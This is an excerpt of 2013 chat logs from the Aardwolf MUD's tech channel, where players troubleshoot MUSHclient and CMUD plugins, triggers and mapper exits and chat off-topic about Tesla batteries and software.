T3/r7/2013-08-31.txt.gz:{chan ch=tech}Narhtan Tech: is your computer getting enough power?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: I assume it is not, becuase this is happening, and who the eff knows what else could cause it.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Narhtan Tech: like is it plugged directly into the socket or is it plugged into a dual adapter or somethign like that?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: It is plugged into a surge protector.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: However
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: It USED to be plugged directly into the wall, and it still did it.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Narhtan Tech: ahk. Maybe the connection to the usb is short circutting
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Narhtan Tech: It could be any number of things
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Ranrr Tech: Are your USB devices getting enough power? I.e., are you using multiple devices on an unpowered hub?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: So I'm getting more plugin errors how do I know what state file is connected to what plugin?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Ocho Ocho Ocho Tech: anyone familiar with wix?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Asterax Tech: in mushclient- do I need any additional mapper cexit commands for the illoria portal exit room (A Small Glade)? I can't seem to use the illoria portal without getting SW errors.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Asterax Tech: mapper seems to not recognize that I need to go W from portal exit room before I continue the SW.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Redryn Tech: did you set the right room as portal room?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Asterax Tech: using xset mark? if so, yes.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Redryn Tech: idk about xset, but portal works normal for me
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Asterax Tech: nvm - figured it ou.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Asterax Tech: out*
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: How do I determine what state files are related to which plugins?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Redryn Tech: check the plugin ID
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: So I've got the S&D plugin, but xrt necro doesn't seem to work right, it keeps putting me in the south end of the graveyard instead.. Not hitting any walls, and already tried xset mark twice.. Anyone have any idea what might cause it?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Nuanse Tech: wrong cexits
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: Only cexits are to open doors, and are working fine.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Nuanse Tech: xrt should take you to area somewhere in between you have cekit broken. otherwise xrt uses game runto which still takes you into area
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Nuanse Tech: cexit
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: Only cexits are still to open doors and move through them.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Nuanse Tech: go to recall, type xrt necro and see what it does
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Nuanse Tech: not where it goes, but the commands it sends
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: Uses portal to giant's pet store, then runs there, opening all doors on the way.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: And ends in The Graveyard, south end.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Navi Tech: And it's opening every door at the exact right time, so it's not getting itself lost, and doesn't hit anywalls or closed doors anywhere on the path.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Slinks Tech: Hi guys, hoping someone could help me out... I'm using Mushclient and I would like to set up a trigger that fires so I can stay connected to Aard while afk. Any suggestions?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}KeetenEatr Delerious Tech: Use ticks to fire a look command?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Slinks Tech: Yea, that would work, but I have no idea what the code would be :S
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Cryos Tech: go to the mushclients timer page and create a new timer
T3/r7/2013-08-31.txt.gz:{chan ch=tech}KeetenEatr Delerious Tech: No code. MUSHclient makes it super easy. Just copy the tick text and paste it into the trigger window's "input" field, the box below it is the output. super easy.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Leinei Tech: go to game->configure->triggers, click add. in the top box, put "Your eyes glaze over."
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Leinei Tech: in the bottom box, just hit enter to put a blank line
T3/r7/2013-08-31.txt.gz:{chan ch=tech}KeetenEatr Delerious Tech: ^ Even better.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Leinei Tech: (I think that's the idle message)
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Slinks Tech: Thanks Leinei, Deleious and Cryos! :) Really appreciate the help. 
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Legendary Gruagach Tech: how do i make charge not brief in the combat log
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Mr. Dash Tech: damage 0?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Legendary Gruagach Tech: nope
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Legendary Gruagach Tech: well kinda, but then my combat rounds show
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: So I've tried reinstalling xbroadcast_cp and miniwin events and miniwin cp and I'm still getting this message: Trigger function "set_show" not found or had a previous error.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: That's after I request a campaign
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Mr. Dash Tech: well, i don't use em these days, but make sure you have all the required files to run his plugins. there are lua files that they require.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: it was working before so I assume I do, yeah
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Ullin Tech: try to reinstall the CP broadcast file as well as the miniwin?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: I don't use the cp window(just events) but I reinstalled both
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Ullin Tech: and after reinstalling if you do cp check still trigger an error?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: It's only when I request one
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Ullin Tech: not sure what's wrong sorry
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: np, thanks though
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Vexthorne Tech: I do get an error when attempting to reinstall xbroadcast kills I don't know if that's related
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Arnica Tech: The Aard MUSHClient lua includes database support? Or do I need to do something to add it? e.g., are there requires needed in plugins? Any samples you can point to would be nice.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-08-31.txt.gz:{chan ch=tech}Arnica Tech: ty
T3/r7/2013-08-31.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.gammon.com.au/scripts/doc.php?general=lua_sqlite3
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mencheres Tech: how do I create another communication log window, I just want to capture clan info in one, and the rest in another, mush client
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You have to duplicate the plugin (and give it a new guid) then set it up to capture the relevant channels for each plugin
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mencheres Tech: is it the messages window plugin?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Nuanse Tech: chat capture miniwin
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mencheres Tech: thanks
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Pluto Tech: can someone help me turn on mccp in cmud please?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its on by default, type mccp
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Pluto Tech: tells me i dont have compression on
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Pluto Tech: i was trying to search for it in the help in cmud and i see the help mention an emulation menu but i cant find that menu
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Authentic Tech: anyone on that can help with SnD send me a tell
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tigernuts Tech: what is it called when a program keeps installing itself at startup and running without permission, regardless of user settings, regardless of it being deleted?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Ontuct Tech: trojan?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: worm/trojan/virus/insert any number of bad words
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I'd say Apple iTunes, but close enough.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: that too
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, this one is manufacturerd by Google and called "Google Updater"
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tigernuts Tech: so you're damned close :-)
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Navi Tech: Sounds like windows messenger to me. >.<
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Book of Etzli Tech: Ugh. Google Updater always runs, whether you want it to or not. Pisses me off.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: conform citizen
T3/r7/2013-09-01.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: windows installing? pfft probably would have failed at installing itself
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mye Tech: google update adds a scheduled task -- you need to disable that, too
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mencheres Tech: google is viral
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Confounded CeriQ Tech: 1 word: Bonjour.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tigernuts Tech: already did, Mye
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tormat Tech: I call it windoes...
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tigernuts Tech: well that's all very well and good, tormat, but it's not windows fault
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: pics?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: mis
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Tesla.  Get one or get a different luxury car instead (A6, E class, etc.)
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I drove a Tesla Model S. it was nice in a lot of ways, but the center touch screen console is shitty and unresponsive
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which is kind of weird
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: did it leave you wishing you had one?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm...no. But it did make me want to get the next generation one
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: after the tech gets an upgrade
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: most test drive reports I read really come down to omg-electric-car-torque-so-fast-off-the-line... but when i look at the inside, it's pretty craptastic for the price range.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: the Tesla is a rather good car for the li-ion tech it has.  The one really-hamstringing problem for both the car and the company is that they essentially put all their design eggs into an obsolete basket (li-ion being phased out for li-air, a development that sprang up roughly around the time the Tesla debuted).
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Tesla is a battery company that happens to make cars. They know more about it than you do.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: don't think li-air has proven itself yet...
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: replacing the battery takes literally a minute, and doesn't impact the car's design
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Xarfin Tech: Anyone know how to get tier info from GMCP?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: gmcp.char.base.tier, if I remember right.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it's amazing that tesla spent < $1B on R&D and they come up with the model s, while bmw spends 4B and they come up with the i3... gotta respect.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Xarfin Tech: Is there a list somewhere of GMCP values? I thought I saw one somewhere
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes, but it might not be complete
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: Tesla focused too much on li-ion.  They have to redesign the whole thing just to work in future battery-tech upgrades, something they weren't really set up for when the car debuted.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're wrong
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's like saying my camera can't use alkaline AAs instead of lithium or NiMH AAs. They're all AAs. They all follow an output spec.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Arnica Tech: The wiki http://www.aardwolf.com/wiki/index.php/Clients/GMCP
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Xarfin Tech: Thanks :)
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: hans, isn't lithium air like a decade away from powering cars, if it ever does?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: if big oil has anything to say about it
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: no, 2-3 years or so, if that.  If they sit on it, that's a whole other ballgame.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: more computing power than nasa had in the 70s in our pocket on a 3inch screen..still cant get cheap 60mpg cars
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: and if the professional money guys are saying to be wary of Tesla because of production/R&D potential issues, I'm not going to listen to happy customers.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: okay, you definitely have no idea about automotive deisgn and production if you are saying 2-3 years.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Flach Tech: The Tesla cars are nice and all, but they're a stop-gap
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: GM couldn't copy Tesla's 18650 small cell battery, a completely existing blueprint, in 3 years
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but you are going to take something that hasn't made it out of the lab, hasn't been tested, mass produce it, and make it work in a highly demanding consumer application in 3 years?  Right.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm pretty sure the only person who could do that would be Elon Musk...oh wait.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: he took existing technology, completely proven, already being mass produced at scale, and that took 3+ years.  No worries, lithium-air is RIGHT AROUND THE CORNER
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: professional money guys know nothing.  they are professional sales people.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: if you are going to take that tack, then professionals in general are suspect, yes?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Sonshi Tech: for all you know he's got a team of engineers who think they can do it..
T3/r7/2013-09-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://gigaom.com/2012/06/06/why-the-lithium-air-battery-is-over-hyped/
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish shrugs helplessly.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: professional basketball players are the best at what they do, as a group.  professional money managers are bad at what they do, as a group.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so the answer to your silly question is, "No".
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: isn't this channel supposed to be intelligensia only?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Tech: Vost falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: this is Aardwolf.  We're supposed to be speaking at 6th grade levels.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: simple pleasures, and all that.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Sonshi Tech: I wonder how a company gets itself named after a famous dead guy... do they have to get permission from the estate, or is there some time period that has to pass first...
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Bode Tech: how old?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: I thought Tesla died broke?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody want some free tinyfugue scripts?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Sonshi Tech: well, even if you die broke, it would be odd if people could immediately use your name in their company without permission from the "inheritors"...
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Bode Tech: who owned the patents?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Vost Tech: yeah, that's only allowed if you can afford better lawyers than they can afford
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Henriken Tech: I just reinstalled my mushclient, I forgot how to get rid of the {affoff}
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Henriken Tech: anyone know? :)
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Vexthorne Tech: It's under tags
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: just install a spellup plugin.  If you don't want such a plugin, use the TAGS command.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Henriken Tech: oh ok :) then ill get to installing the plugins again
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Hanslanda Tech: mush plugins tend to force the necessary tags on/off as desired.
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Henriken Tech: thanks for the help
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mushambo Tech: Anyone use SquareSpace/Wix/Wordpress.com or any other similar hosted services?
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Sickerone Tech: how can i move a miniwin if i cant drag it from the top, dragged it accidently way to much up
T3/r7/2013-09-01.txt.gz:{chan ch=tech}Mandyxx Tech: hello all. i want to know if there is a way to show my inventory in a miniwindow.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: I have tried to turn off invmon tags but it keeps re-enabling itself . anyone know the cure?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It can't re-enable itself, you must have a plugin doing that
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Ayasinda Tech: do you use more than 1 client?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: I only use mushclient
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Ayasinda Tech: then it must be something Vakieh said
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: the plugins i have are the package from aardwolf webpage, bast's package and winkle winkle
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: do you know if any of those make it?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Bast has an eq monitoring plugin that will turn it on, but it also eats it, so something is clashing
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: how do you mean clashing? do I need to reinstall the bast scripts u think?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Reinstalling might fix it, might not. Clashing in that one of the plugins probably doesn't like what another plugin is doing
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Better way: remove everything but the aardmush, make sure that works. Then slowly add things until it breaks again - the last thing you added is the problem.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: hmm I guess ure right I did add everything at once
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Henriken Tech: ill give it a shot thanks
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Alcor Tech: Does anyone know if there is a not too difficult way to have an alias in mush send the roomnotes from the mapper to Execute? 
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vonliege Tech: what are neophites using for free CAD software?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pirate autocad?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vonliege Tech: well there is that... but there ought to be one or two worth open-source free-ware items out there
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vonliege Tech: I was proficient with ACAD 7-8 years ago, but don't really feel like re-engaging with it
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Probably. Still, when using software like that it is nice to have a large community so you have a correspondingly large community base for help and plugin/scripting. Not going to have that with Open Source Offering X
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody want some tinyfugue scripts?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vonliege Tech: well there used to be google scketchup... but looks like that's gone commercial
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: (for free)
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what's this tinyfugue you speak of?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Do these scripts run you into King Bird? Sounds like the sort of scripts you would be giving away.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I found them on the internet
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Greendude Tech: zMud is great
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: cmud is better
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Greendude Tech: so much better than irc
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Navi Tech: Telnet is the only way to much.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Navi Tech: mud rather.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vexthorne Tech: I thought they stopped supporting cmud?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Greendude Tech: ultima online is fun too
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Greendude Tech: have any you seen that movie that harrelson ford is starring in
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: The Expendables 3 isn't out yet
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Greendude Tech: if you have enough houses can you have your own dimension?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: Zugg stopped supporting CMud.  It still works and will continue to work until Microsoft does something that prevents older apps from working on their newest OS (and even then, if you just stick to the older OS, you can use it indefinitely).
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The mighty Hollister Tech: how do you turn of battle spam? so that it says you damage target? send me the answer in a tell please
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mye Tech: that way anyone else with the same question won't learn the answer?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The mighty Hollister Tech: well I'm being spammed by a battle so much I can't read the answer! so I need it in a tell so that I can type replay
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Nuanse Tech: help spamreduce
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Nuanse Tech: it's in there
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Vexthorne Tech: tech -h # works wonders :)
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Alcor Tech: Is there a way to set an alias in mush that sends the roomnotes from the mapper to Execute/the world?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats the cmud function to count how many items are in a string list?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: %numitems
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Alcor Tech: I will pay 3tp to whoever will code me a little something that will send the roomnotes of the mapper of the current room to Execute upon a command (e.g. "roomsend" or whatever) from me. First tell gets the job :)
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mushambo Tech: Any suggestions on verifying authenticity of a Win7 OEM disc? Cheap on Craigslist, but worried it may not work...
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Nuanse Tech: from site? no. you need the disc
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mushambo Tech: I mean when I meet the person in the back-alley, a way to verify it will install properly...i.e. not a flagged pirate copy
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Nuanse Tech: no
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Nuanse Tech: it's pirate copy. for sure 
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Akuri Tech: cd
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have a variable with different potions, one of them being chaos {A Minor Rejuve} when i try to match it it never matches so my potion counter does not keep up, besides stripping everything from the name is there a way i can make it match?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your question is unbounded
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im using cmud =/
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Switch to Lua so that you can match the {} much more easily.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: doesnt cmud use regex triggers?  put a \ before { and } to match
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: It doesn't work quite so well when you're matching database variables.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Inferno Tech: it can, but using zscript the standardescape for a brace is 
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Inferno Tech: bah ~
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: problem is im not matching per item the names are in a variable, and i match through the variable
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: In CMUD, you can match variables, or even the database keys (%dbkeys(@variable). The problem is, you can't really escape it, and it's uncooperative when trying different forms of escaping the entire pattern.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: guess i can re-write it to strip
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: You /could/ just do (?:\{A minor rejuve\}|This potion|That potion|Whatever) in the pattern, though.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Won't be using a variable, but *shrug*
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: It's why I enjoy using the Lua variables and saving them locally.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its an old script ill probably change it to lua soon
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah. :p I've been doing that with my own.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: The Potion Tracker is actually one of the last remaining things I need to convert to Lua.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: imagine how much better mushclient would be if it had you writing plugins for it
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I've contemplated, but each time I've started, I just get flustered with the GMCP handler. Easy to learn, sure. I just get lazy occasionally.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my god, the GMCP handler is absolutely the easiest part of writing any plugin
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: lol thats why i stepped away from mush, im using cmud on wine =/
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I get pissed at miniwindows
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well, I get pissed at not having a proper miniwindow standard library
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: luckily it's all just code
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I'll have to take a look at it again, then. And MUSH's miniwindows is far superior to CMUD's.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't know what CMUD does
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mye Tech: i just send everything to an ancillary system that does all the work for me .. mush is more of a dumb automaton that does whatever that system tells it to do
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: I've just been waiting for you to write a standard miniwindow library
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wish doing what I did with the chat capture window with scrolling and highlighting were automatic
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I've been slowly working on it
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sort of
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: personally i like how the mush mapper works, but i like how cmud handles some stuff like cexits and stuff where i dont have to remember them, like that mush maps without having to toggle the mapper but meh
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I may never finish
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: CMUD has one status window, which doesn't have to redraw the screen if you want to update something. The rest have to be child windows, which you have to refresh each time you want to update something.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: plagiarising your code works for now
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all my mushclient code is released WTFPL. it's not plagiarizing.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: link 
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: zelda
